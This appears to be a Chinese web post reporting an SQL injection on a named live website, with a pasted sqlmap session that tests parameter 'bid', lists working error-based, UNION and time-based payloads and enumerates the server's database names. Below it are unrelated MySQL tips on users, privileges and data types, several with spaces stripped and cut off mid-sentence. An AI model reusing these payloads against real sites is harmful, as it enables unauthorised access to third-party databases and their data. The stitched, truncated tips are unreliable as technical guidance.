我拉网主站一处sql注入
注入点
<code>http://www.55.la/run/ding_banner.php?bid=21022</code>
<code>注入地址:http://www.55.la/run/ding_banner.php?bid=21022<br><br> sqlmap/1.0-dev - automatic SQL injection and database takeover tool<br> http://www.sqlmap.org<br><br>[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual<br> consent is illegal. It is the end user's responsibility to obey all applicable<br>local, state and federal laws. Authors assume no liability and are not responsib<br>le for any misuse or damage caused by this program<br><br>[*] starting at 02:04:07<br><br>[02:04:07] [INFO] using 'C:/Users/Administrator/Desktop/渗透工具/sqlmap GUI汉化<br>版/rar/output/www.55.la/session' as session file<br>[02:04:07] [INFO] testing connection to the target url<br>[02:04:07] [INFO] testing if the url is stable, wait a few seconds<br>[02:04:08] [INFO] url is stable<br>[02:04:08] [INFO] testing if GET parameter 'bid' is dynamic<br>[02:04:09] [INFO] confirming that GET parameter 'bid' is dynamic<br>[02:04:09] [INFO] GET parameter 'bid' is dynamic<br>[02:04:09] [INFO] heuristic test shows that GET parameter 'bid' might be injecta<br>ble (possible DBMS: MySQL)<br>[02:04:09] [INFO] testing sql injection on GET parameter 'bid'<br>[02:04:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'<br>[02:04:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause<br>'<br>[02:04:11] [INFO] GET parameter 'bid' is 'MySQL >= 5.0 AND error-based - WHERE o<br>r HAVING clause' injectable<br>[02:04:11] [INFO] testing 'MySQL > 5.0.11 stacked queries'<br>[02:04:11] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'<br>[02:04:21] [INFO] GET parameter 'bid' is 'MySQL > 5.0.11 AND time-based blind' i<br>njectable<br>[02:04:21] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'<br>[02:04:24] [INFO] target url appears to be UNION injectable with 1 columns<br>[02:04:25] [INFO] GET parameter 'bid' is 'MySQL UNION query (NULL) - 1 to 10 col<br>umns' injectable<br>GET parameter 'bid' is vulnerable. Do you want to keep testing the others (if an<br>y)? [y/N] y<br>sqlmap identified the following injection points with a total of 32 HTTP(s) requ<br>ests:<br>---<br>Place: GET<br>Parameter: bid<br> Type: error-based<br> Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause<br> Payload: bid=21022' AND (SELECT 3637 FROM(SELECT COUNT(*),CONCAT(0x3a6f636a3<br>a,(SELECT (CASE WHEN (3637=3637) THEN 1 ELSE 0 END)),0x3a7862753a,FLOOR(RAND(0)*<br>2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'uYVe'='uYVe<br><br> Type: UNION query<br> Title: MySQL UNION query (NULL) - 1 column<br> Payload: bid=-1700' UNION SELECT CONCAT(0x3a6f636a3a,0x676e4261505364745265,<br>0x3a7862753a)# AND 'EXgA'='EXgA<br><br> Type: AND/OR time-based blind<br> Title: MySQL > 5.0.11 AND time-based blind<br> Payload: bid=21022' AND SLEEP(5) AND 'xros'='xros<br>---<br><br>[02:04:27] [INFO] the back-end DBMS is MySQL<br><br>web application technology: Nginx, PHP 5.3.24<br>back-end DBMS: MySQL 5.0<br>[02:04:27] [INFO] fetching database names<br>[02:04:30] [INFO] the SQL query used returns 5 entries<br>[02:04:30] [INFO] retrieved: "information_schema"<br>[02:04:37] [INFO] retrieved: "help55la"<br>[02:04:37] [INFO] retrieved: "test"<br>[02:04:37] [INFO] retrieved: "u_run55_la"<br>[02:04:37] [INFO] retrieved: "wstp8_com"<br>available databases [5]:<br>[*] help55la<br>[*] information_schema<br>[*] test<br>[*] u_run55_la<br>[*] wstp8_com<br><br>[02:04:37] [INFO] Fetched data logged to text files under 'C:/Users/Administrato<br>r/Desktop/渗透工具/sqlmap GUI汉化版/rar/output/www.55.la'<br><br>[*] shutting down at 02:04:37</code>

TograntpermissionstonewMySQLusers,followthesesteps:1)AccessMySQLasauserwithsufficientprivileges,2)CreateanewuserwiththeCREATEUSERcommand,3)UsetheGRANTcommandtospecifypermissionslikeSELECT,INSERT,UPDATE,orALLPRIVILEGESonspecificdatabasesortables,and4)

ToaddusersinMySQLeffectivelyandsecurely,followthesesteps:1)UsetheCREATEUSERstatementtoaddanewuser,specifyingthehostandastrongpassword.2)GrantnecessaryprivilegesusingtheGRANTstatement,adheringtotheprincipleofleastprivilege.3)Implementsecuritymeasuresl

ToaddanewuserwithcomplexpermissionsinMySQL,followthesesteps:1)CreatetheuserwithCREATEUSER'newuser'@'localhost'IDENTIFIEDBY'password';.2)Grantreadaccesstoalltablesin'mydatabase'withGRANTSELECTONmydatabase.TO'newuser'@'localhost';.3)Grantwriteaccessto'

The string data types in MySQL include CHAR, VARCHAR, BINARY, VARBINARY, BLOB, and TEXT. The collations determine the comparison and sorting of strings. 1.CHAR is suitable for fixed-length strings, VARCHAR is suitable for variable-length strings. 2.BINARY and VARBINARY are used for binary data, and BLOB and TEXT are used for large object data. 3. Sorting rules such as utf8mb4_unicode_ci ignores upper and lower case and is suitable for user names; utf8mb4_bin is case sensitive and is suitable for fields that require precise comparison.

The best MySQLVARCHAR column length selection should be based on data analysis, consider future growth, evaluate performance impacts, and character set requirements. 1) Analyze the data to determine typical lengths; 2) Reserve future expansion space; 3) Pay attention to the impact of large lengths on performance; 4) Consider the impact of character sets on storage. Through these steps, the efficiency and scalability of the database can be optimized.

MySQLBLOBshavelimits:TINYBLOB(255bytes),BLOB(65,535bytes),MEDIUMBLOB(16,777,215bytes),andLONGBLOB(4,294,967,295bytes).TouseBLOBseffectively:1)ConsiderperformanceimpactsandstorelargeBLOBsexternally;2)Managebackupsandreplicationcarefully;3)Usepathsinst

The best tools and technologies for automating the creation of users in MySQL include: 1. MySQLWorkbench, suitable for small to medium-sized environments, easy to use but high resource consumption; 2. Ansible, suitable for multi-server environments, simple but steep learning curve; 3. Custom Python scripts, flexible but need to ensure script security; 4. Puppet and Chef, suitable for large-scale environments, complex but scalable. Scale, learning curve and integration needs should be considered when choosing.

Yes,youcansearchinsideaBLOBinMySQLusingspecifictechniques.1)ConverttheBLOBtoaUTF-8stringwithCONVERTfunctionandsearchusingLIKE.2)ForcompressedBLOBs,useUNCOMPRESSbeforeconversion.3)Considerperformanceimpactsanddataencoding.4)Forcomplexdata,externalproc


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